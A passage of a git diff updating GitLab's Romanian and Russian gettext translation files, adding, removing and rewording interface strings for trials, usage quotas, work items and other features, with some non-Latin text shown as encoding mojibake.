msgstr "Pentru a continua acest proiect, creați o nouă problemă"
@@ -43468,7 +44176,7 @@ msgstr "Lista de sarcini De-Făcut arată la ce să lucrați în continuare"
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43765,24 +44473,12 @@ msgstr "Creați un nou grup pentru a începe perioada de încercare GitLab Ultim
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr "Ziua %{daysUsed}/%{duration}"
-msgid "Trials|Go back to GitLab"
-msgstr "ÃŽnapoi la GitLab"
-
-msgid "Trials|Skip Trial"
-msgstr "Săriți perioada de încercare"
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr "Actualizați %{groupName} la %{planName}"
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "Puteți relua oricând acest proces selectându-vă avatarul și alegând \"Începeți o perioadă de încercare Ultimate\"."
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr "Puteți aplica perioada de încercare unui grup nou sau unui grup existent."
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "Nu veÈ›i obÈ›ine o perioadă de încercare gratuită chiar acum, dar puteÈ›i relua oricând acest proces prin selectarea avatarului dvs. È™i alegerea „ÎncepeÈ›i o perioadă de încercare Ultimateâ€."
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] "V-a mai rămas %{daysRemaining} zi de GitLab %{planName}!"
@@ -43888,15 +44584,12 @@ msgstr "Încercați să schimbați sau să înlăturați filtrele."
msgid "Try grouping with different labels"
msgstr "Încercați să grupați cu etichete diferite"
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
-msgstr "Încercați să vă conectați utilizând numele de utilizator sau e-mailul. Dacă ați uitat parola, încercați să o recuperați."
+msgid "Try it out now"
+msgstr ""
msgid "Try out GitLab Pipelines"
msgstr "Încercați pipeline-urile GitLab"
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr "Încercați etapele de depanare de aici."
@@ -44068,6 +44761,9 @@ msgstr "Nu se poate conecta la instanța Jira. Vă rugăm să verificați config
msgid "Unable to create link to vulnerability"
msgstr "Nu se poate crea un link către vulnerabilitate"
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr "Nu se poate prelua lista ramurilor acestui proiect."
@@ -44110,6 +44806,9 @@ msgstr "Nu se poate încărca diff-ul. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "Imposibil de încărcat widget-ul Merge-Request-ului. Încercați să reîncărcați pagina."
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr "JSON nu poate fi analizat"
@@ -44290,6 +44989,9 @@ msgstr "Deprogramați jobul"
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "Anulare stea"
@@ -44329,6 +45031,9 @@ msgstr "Indicii anteriori neutilizați: %{index_names} vor fi șterși automat d
msgid "Unverified"
msgstr "Neverificat"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "La zi"
@@ -44398,6 +45103,9 @@ msgstr "Nu se poate redenumi proiectul deoarece acesta conține etichete de regi
msgid "UpdateProject|Could not set the default branch"
msgstr "Nu s-a putut seta ramura implicită"
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr "Noul nivel de vizibilitate nu este permis!"
@@ -44560,15 +45268,9 @@ msgstr "Setări de grup &gt; Cote de utilizare"
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr "Include artefacte, depozite, wiki, încărcări și alte elemente."
-msgid "UsageQuota|Increase storage temporarily"
-msgstr "Măriți temporar spațiul de stocare"
-
msgid "UsageQuota|LFS storage"
msgstr "Spațiu de stocare LFS"
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr "Aflați mai multe despre utilizarea excesivă a spațiului de stocare"
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr "Aflați mai multe despre cotele de utilizare"
@@ -44599,15 +45301,9 @@ msgstr "Artefacte de pipeline și artefacte de job, create cu CI/CD."
msgid "UsageQuota|Pipelines"
msgstr "Pipeline-uri"
-msgid "UsageQuota|Purchase more storage"
-msgstr "Cumpărați mai mult spațiu de stocare"
-
msgid "UsageQuota|Purchased storage"
msgstr "Stocarea achiziționată"
-msgid "UsageQuota|Purchased storage available"
-msgstr "Stocarea achiziționată disponibilă"
-
msgid "UsageQuota|Purchased storage used"
msgstr "Stocarea achiziționată folosită"
@@ -44665,24 +45361,12 @@ msgstr "Spațiul de nume utilizează în prezent %{strong_start}%{used_storage}%
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr "Aceasta este stocarea totală utilizată de toate proiectele dvs. din acest spațiu de nume."
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr "Aceasta este cantitatea totală de spațiu de stocare utilizată de proiecte peste limita de stocare gratuită de %{actualRepositorySizeLimit}."
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr "Acest spațiu de nume nu are proiecte care au folosit executorii partajați în perioada curentă."
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr "Acest tabel omite proiectele care au folosit 0 minute CI/CD sau 0 minute de funcționare partajată."
-msgid "UsageQuota|Total excess storage used"
-msgstr "Totalul stocării excesive utilizate"
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr "Stocarea totală a spațiului de nume utilizată"
-
msgid "UsageQuota|Uploads"
msgstr "Încărcări"
@@ -44710,9 +45394,6 @@ msgstr "Utilizarea resurselor proiectului în cadrul proiectului %{strong_start}
msgid "UsageQuota|Usage of resources across your projects"
msgstr "Utilizarea resurselor în cadrul proiectelor dvs."
-msgid "UsageQuota|Usage quotas help link"
-msgstr "Link de ajutor pentru cotele de utilizare"
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr "Setări utilizator &gt; Cote de utilizare"
@@ -44731,15 +45412,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr "Ați folosit: %{usage} %{limit}"
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr "din %{formattedLimit} din spațiul de stocare al spațiului dvs. de nume"
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr "Nu s-a putut încărca graficul de probleme și merge request-uri. Vă rugăm să reîmprospătați pagina pentru a încerca din nou."
@@ -44896,6 +45571,9 @@ msgstr "Utilizați șablonul"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr "Utilizați opțiunea %{strongStart}Test%{strongEnd} menționată anterior pentru a crea un eveniment."
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr "Utilizați linkul de mai jos pentru a vă confirma adresa de e-mail (%{email})"
@@ -44953,6 +45631,12 @@ msgstr "Utilizatorul %{current_user_username} a început să o/îl impersoneze p
msgid "User %{username} was successfully removed."
msgstr "Utilizatorul %{username} a fost înlăturat cu succes."
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr "Utilizatorul %{user} a fost înlăturat din %{group}."
@@ -45127,9 +45811,6 @@ msgstr "(Ocupat)"
msgid "UserProfile|Activity"
msgstr "Activitate"
-msgid "UserProfile|Already reported for abuse"
-msgstr "A fost deja raportat pentru abuz"
-
msgid "UserProfile|Blocked user"
msgstr "Utilizator blocat"
@@ -45196,12 +45877,12 @@ msgstr "Proiecte cu stea"
msgid "UserProfile|Subscribe"
msgstr "Înscrieți-vă"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr ""
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "Acest utilizator nu are niciun urmăritor."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "Acest utilizator nu are niciun proiect personal"
-
msgid "UserProfile|This user has a private profile"
msgstr "Profilul acestui utilizator este privat"
@@ -45367,12 +46048,9 @@ msgstr "Utilizarea strategiei de criptare necesară atunci când câmpul criptat
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr "Utilizând cuvântul cheie %{codeStart}needs%{codeEnd}, joburile unei etape ulterioare se execută înainte de finalizarea completă a etapei actuale. Joburile rulează imediat ce sunt îndeplinite relațiile %{codeStart}needs%{codeEnd}, ceea ce accelerează pipeline-urile."
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
-msgid "Valid From"
-msgstr "Valabil de la"
-
msgid "Validate"
msgstr "Validați"
@@ -45562,6 +46240,9 @@ msgstr "Acum veți putea profita de minutele gratuite de CI/CD pe executorii par
msgid "Verified"
msgstr "Verificat"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr "Verificați configurația SAML"
@@ -45574,9 +46255,6 @@ msgstr "Verificați configurația"
msgid "Version"
msgstr "Versiune"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr "Versiunea %{report_version} a raportului de tip %{report_type} a fost depreciată, versiunile acceptate pentru acest tip de raport sunt: %{supported_schema_versions}. GitLab va încerca să analizeze și să integreze acest raport dacă este valid."
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr "Versiunea %{report_version} a raportul de tip %{report_type} nu este acceptată, versiunile acceptate ale acestui tip de raport sunt: %{supported_schema_versions}. GitLab va încerca să valideze acest raport împotriva celor mai vechi versiuni acceptate ale acestui tip de raport, pentru a afișa toate erorile, dar nu va integra raportul"
@@ -45646,6 +46324,9 @@ msgstr "Vizualizați toate problemele"
msgid "View all projects"
msgstr "Afișați toate proiectele"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr "Vizualizați blame"
@@ -45742,6 +46423,9 @@ msgstr "Vedeți jurnalul"
msgid "View logs"
msgstr "Vedeți jurnalele"
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr "Vizualizați obiectivele"
@@ -45775,6 +46459,9 @@ msgstr[2] "Vizualizați cheile publice GPG"
msgid "View replaced file @ "
msgstr "Vizualizați fișierul înlocuit @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr "Vizualizare utilizare seats"
@@ -45787,6 +46474,9 @@ msgstr "Vizualizați atributul %{code_open}last_activity_at%{code_close} pentru
msgid "View the documentation"
msgstr "Consultați documentația"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr "Vizualizați cea mai recentă implementare de succes în acest mediu"
@@ -45811,9 +46501,6 @@ msgstr "Vizualizarea proiectelor și a datelor de proiectare de pe un site princ
msgid "Violation"
msgstr "Încălcare"
-msgid "Visibility"
-msgstr "Vizibilitate"
-
msgid "Visibility and access controls"
msgstr "Vizibilitatea și controlul accesului"
@@ -46546,12 +47233,12 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr "Evenimente de pipeline"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
-msgstr "Regex precum %{REGEX_CODE} este acceptat."
-
msgid "Webhooks|Regular expression"
msgstr "Expresie regulată"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
+msgstr ""
+
msgid "Webhooks|Releases events"
msgstr "Evenimente de lansări"
@@ -46999,9 +47686,21 @@ msgstr "Lucrări în curs (deschise și neatribuite)"
msgid "Work in progress Limit"
msgstr "Limita de lucrări în curs"
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr "%{workItemType}șters"
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr "Adăugați"
@@ -47089,6 +47788,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr "Extindeți sarcinile"
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr "Incident"
@@ -47098,7 +47800,7 @@ msgstr "Problemă"
msgid "WorkItem|Iteration"
msgstr "Iterație"
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47131,8 +47833,8 @@ msgstr "Niciunul"
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
-msgstr "Numai membrii proiectului cu cel puțin rolul de Reporter, autorul și responsabilii pot vizualiza sau fi notificați cu privire la această sarcină."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
+msgstr ""
msgid "WorkItem|Open"
msgstr "Deschis"
@@ -47185,6 +47887,12 @@ msgstr "Ceva nu a mers bine atunci când ați încercat să creați un copil. Î
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr "Ceva nu a mers bine în timpul recuperării obiectivelor. Încercați din nou."
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr "Ceva nu a mers bine în timp ce se actualiza %{workItemType}. Vă rugăm să încercați din nou."
@@ -47206,6 +47914,12 @@ msgstr "Sarcini"
msgid "WorkItem|Test case"
msgstr "Caz de testare"
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr "Acest element de lucru este indisponibil. Fie nu există, fie nu aveți permisiunea de a-l vizualiza."
@@ -47311,6 +48025,9 @@ msgstr "Sunteți pe cale să ștergeți acest fork de proiect care conține:"
msgid "You are about to delete this project containing:"
msgstr "Sunteți pe punctul de a șterge acest proiect care conține:"
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "Sunteți pe cale să transferați controlul contului dvs. către grupul %{group_name}. Această acțiune NU este reversibilă, nu veți mai putea accesa niciunul dintre grupurile și proiectele dvs. în afara grupului %{group_name} odată ce acest transfer este finalizat."
@@ -47443,9 +48160,6 @@ msgstr "De asemenea, puteți apăsa ⌘-Enter"
msgid "You can also star a label to make it a priority label."
msgstr "Puteți, de asemenea, să marcați cu o stea o etichetă pentru a face din ea o etichetă prioritară."
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "De asemenea, puteți testa %{gitlab_ci_yml} în %{lint_link_start}CI Lint%{lint_link_end}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "De asemenea, puteți încărca fișiere existente de pe computerul dvs. folosind instrucțiunile de mai jos."
@@ -47536,6 +48250,9 @@ msgstr "Puteți invita un nou membru la %{project_name}."
msgid "You can invite another group to %{project_name}."
msgstr "Puteți invita un alt grup la %{project_name}."
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "Vă puteți deplasa în jurul graficului cu ajutorul tastelor săgeți."
@@ -47575,9 +48292,6 @@ msgstr "Puteți configura joburile pentru a utiliza doar executorii cu anumite e
msgid "You can specify notification level per group or per project."
msgstr "Puteți specifica nivelul de notificare pentru fiecare grup sau pentru fiecare proiect."
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "Vă puteți testa fișierul .gitlab-ci.yml în %{linkStart}CI Lint%{linkEnd}."
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr "Puteți vizualiza sursa sau %{linkStart}%{cloneIcon} clona repozitoriul%{linkEnd}"
@@ -47593,8 +48307,8 @@ msgstr "Nu puteți accesa fișierul brut. Vă rugăm să așteptați un minut."
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr "Nu mai puteți adăuga alte epice. Această epică are deja numărul maxim de epice copil."
-msgid "You cannot approve your own deployment."
-msgstr "Nu puteți aproba propria implementare."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
+msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
msgstr "Nu puteți combina replace_ids cu add_ids sau remove_ids."
@@ -47686,8 +48400,8 @@ msgstr "Nu aveți niciun merge request deschis"
msgid "You don't have any recent searches"
msgstr "Nu aveți nicio căutare recentă"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
-msgstr "Nu aveți permisiunea de a revizui această implementare. Contactați proprietarul proiectului sau al grupului pentru ajutor."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
+msgstr ""
msgid "You don't have permission to view this epic"
msgstr ""
@@ -47716,6 +48430,9 @@ msgstr[0] "Aveți %{pendingMembersCount} membru în așteptare care are nevoie d
msgstr[1] "Aveți %{pendingMembersCount} membri în așteptare care au nevoie de aprobare."
msgstr[2] "Aveți %{pendingMembersCount} de membri în așteptare care au nevoie de aprobare."
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Vi s-a acordat acces de %{access_level} la %{source_link} %{source_type}"
@@ -47833,6 +48550,9 @@ msgstr "Trebuie să aveți acces de întreținător pentru a forța ștergerea u
msgid "You must provide a valid current password"
msgstr "Trebuie să furnizați o parolă actuală valabilă"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "Trebuie să furnizați parola curentă pentru a o modifica."
@@ -47986,8 +48706,11 @@ msgstr "Ați activat deja autentificarea cu doi factori folosind autentificatoar
msgid "You've rejected %{user}"
msgstr "Ați respins %{user}"
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "YouTube"
msgstr "YouTube"
@@ -48226,6 +48949,9 @@ msgstr "Mesajul dvs. aici"
msgid "Your name"
msgstr "Numele dvs."
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48253,8 +48979,8 @@ msgstr "Parola dvs."
msgid "Your password reset token has expired."
msgstr "Tokenul dvs. de resetare a parolei a expirat."
-msgid "Your personal access token has expired"
-msgstr "Tokenul dvs. de acces personal a expirat"
+msgid "Your personal access tokens have expired"
+msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr "Tokenurile dvs. de acces personal vor expira în %{days_to_expire} zile sau mai puțin"
@@ -48331,6 +49057,9 @@ msgstr "Actualizarea a eșuat. Trebuie să încărcați un fișier cu același n
msgid "Your username is %{username}."
msgstr "Numele dvs. de utilizator este %{username}."
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr "SunteÈ›i pe cale să È™tergeÈ›i definitiv %{issuableType} „%{strongOpen}%{issuableTitle}%{strongClose}â€. Pentru a evita pierderea de date, consideraÈ›i mai degrabă %{strongOpen}închiderea acestui/acestei %{issuableType}%{strongClose}. După È™tergere, nu se mai poate anula sau recupera."
@@ -48535,6 +49264,9 @@ msgstr "poate conține numai litere minuscule, cifre și \"_\"."
msgid "can not be changed for existing notes"
msgstr "nu poate fi modificat pentru notele existente"
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr "nu poate fi setat pentru această resursă"
@@ -48775,11 +49507,14 @@ msgstr "Scanarea imaginii clusterului"
msgid "ciReport|Code Quality"
msgstr "Code Quality"
-msgid "ciReport|Code Quality failed loading results"
-msgstr "Code Quality nu a reușit să încarce rezultatele"
+msgid "ciReport|Code Quality failed to load results"
+msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
-msgstr "Rezultatele metricilor de testare a Code Quality sunt analizate"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
+msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
msgid_plural "ciReport|Code quality degraded due to %d new issues"
@@ -48934,9 +49669,6 @@ msgstr "Nou"
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr "Nicio modificare în Code Quality."
-
msgid "ciReport|No changes to code quality"
msgstr "Nicio modificare a calității codului"
@@ -49429,9 +50161,6 @@ msgstr "nu este"
msgid "is not a descendant of the Group owning the template"
msgstr "nu este descendent al grupului care deține șablonul"
-msgid "is not a valid URL."
-msgstr "nu este un URL valid."
-
msgid "is not a valid X509 certificate."
msgstr "nu este un certificat X509 valid."
@@ -49951,6 +50680,9 @@ msgstr "trebuie să fie asociat cu un Grup sau un Proiect"
msgid "must be greater than start date"
msgstr "trebuie să fie mai mare decât data de început"
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50038,12 +50770,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item} și %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr "numai %{parent_types} poate fi părintele Sarcinii."
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr "numai Sarcina poate fi atribuită ca un copil în ierarhie."
-
msgid "only available on top-level groups."
msgstr "disponibil(ă) numai pentru grupurile de nivel superior."
@@ -50464,6 +51190,9 @@ msgstr "valoarea pentru „%{storage}†trebuie să fie între 0 și 100"
msgid "verify ownership"
msgstr "verificați proprietatea"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "versiunea %{versionIndex}"
diff --git a/locale/ru/gitlab.po b/locale/ru/gitlab.po
index 753dac4b4ff..e604ad3e57a 100644
--- a/locale/ru/gitlab.po
+++ b/locale/ru/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ru\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr " %{start} по %{end}"
@@ -66,7 +66,7 @@ msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " или ÑÑылки (например: path/to/project!merge_request_id)"
msgid " reacted with :%{name}:"
-msgstr ""
+msgstr " отреагировал(а) :%{name}:"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "\"%{path}\" не ÑущеÑтвует на \"%{ref}\""
@@ -78,7 +78,7 @@ msgid "#%{issueIid} (closed)"
msgstr "#%{issueIid} (закрыто)"
msgid "#general, #development"
-msgstr ""
+msgstr "#general, #development"
msgid "%d Alert"
msgid_plural "%d Alerts"
@@ -138,10 +138,10 @@ msgstr[3] "%d URL проÑканировано"
msgid "%d additional approver"
msgid_plural "%d additional approvers"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d дополнительный утверждающий"
+msgstr[1] "%d дополнительных утверждающих"
+msgstr[2] "%d дополнительных утверждающих"
+msgstr[3] "%d дополнительных утверждающих"
msgid "%d additional assignee"
msgid_plural "%d additional assignees"
@@ -152,10 +152,10 @@ msgstr[3] "%d дополнительных ответÑтвенных"
msgid "%d additional commenter"
msgid_plural "%d additional commenters"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d дополнительный комментатор"
+msgstr[1] "%d дополнительных комментатора"
+msgstr[2] "%d дополнительных комментаторов"
+msgstr[3] "%d дополнительных комментаторов"
msgid "%d additional committer"
msgid_plural "%d additional committers"
@@ -201,10 +201,10 @@ msgstr[3] ""
msgid "%d assigned issue"
msgid_plural "%d assigned issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d назначенное обÑуждение"
+msgstr[1] "%d назначенных обÑуждениÑ"
+msgstr[2] "%d назначенных обÑуждений"
+msgstr[3] "%d назначенных обÑуждений"
msgid "%d changed file"
msgid_plural "%d changed files"
@@ -551,10 +551,10 @@ msgstr[3] "%d тегов"
msgid "%d tag per image name"
msgid_plural "%d tags per image name"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d тег на Ð¸Ð¼Ñ Ð¾Ð±Ñ€Ð°Ð·Ð°"
+msgstr[1] "%d тега на Ð¸Ð¼Ñ Ð¾Ð±Ñ€Ð°Ð·Ð°"
+msgstr[2] "%d тегов на Ð¸Ð¼Ñ Ð¾Ð±Ñ€Ð°Ð·Ð°"
+msgstr[3] "%d тегов на Ð¸Ð¼Ñ Ð¾Ð±Ñ€Ð°Ð·Ð°"
msgid "%d unresolved thread"
msgid_plural "%d unresolved threads"
@@ -579,10 +579,10 @@ msgstr[3] "%d уÑзвимоÑтей отклонено"
msgid "%d vulnerability set to confirmed"
msgid_plural "%d vulnerabilities set to confirmed"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d уÑзвимоÑÑ‚ÑŒ подтверждена"
+msgstr[1] "%d уÑзвимоÑти подтверждены"
+msgstr[2] "%d уÑзвимоÑтей подтверждены"
+msgstr[3] "%d уÑзвимоÑтей подтверждены"
msgid "%d vulnerability set to dismissed"
msgid_plural "%d vulnerabilities set to dismissed"
@@ -807,7 +807,7 @@ msgid "%{count} related %{pluralized_subject}: %{links}"
msgstr "%{count} ÑвÑзанный %{pluralized_subject}: %{links}"
msgid "%{count} selected"
-msgstr ""
+msgstr "%{count} выбрано"
msgid "%{count} total weight"
msgstr ""
@@ -924,7 +924,7 @@ msgid "%{issueType} actions"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{issuesSize} Ñ Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸ÐµÐ¼ %{maxIssueCount}"
msgid "%{italic_start}What's new%{italic_end} is inactive and cannot be viewed."
msgstr "Раздел %{italic_start}Что нового%{italic_end} неактивен и недоÑтупен Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñмотра."
@@ -932,6 +932,9 @@ msgstr "Раздел %{italic_start}Что нового%{italic_end} неактÐ
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -993,7 +996,7 @@ msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message} недоÑтупно"
msgid "%{lessThan} 1 hour"
-msgstr ""
+msgstr "%{lessThan} 1 чаÑа"
msgid "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} is a free, automated, and open certificate authority (CA) that issues digital certificates to enable HTTPS (SSL/TLS) for sites."
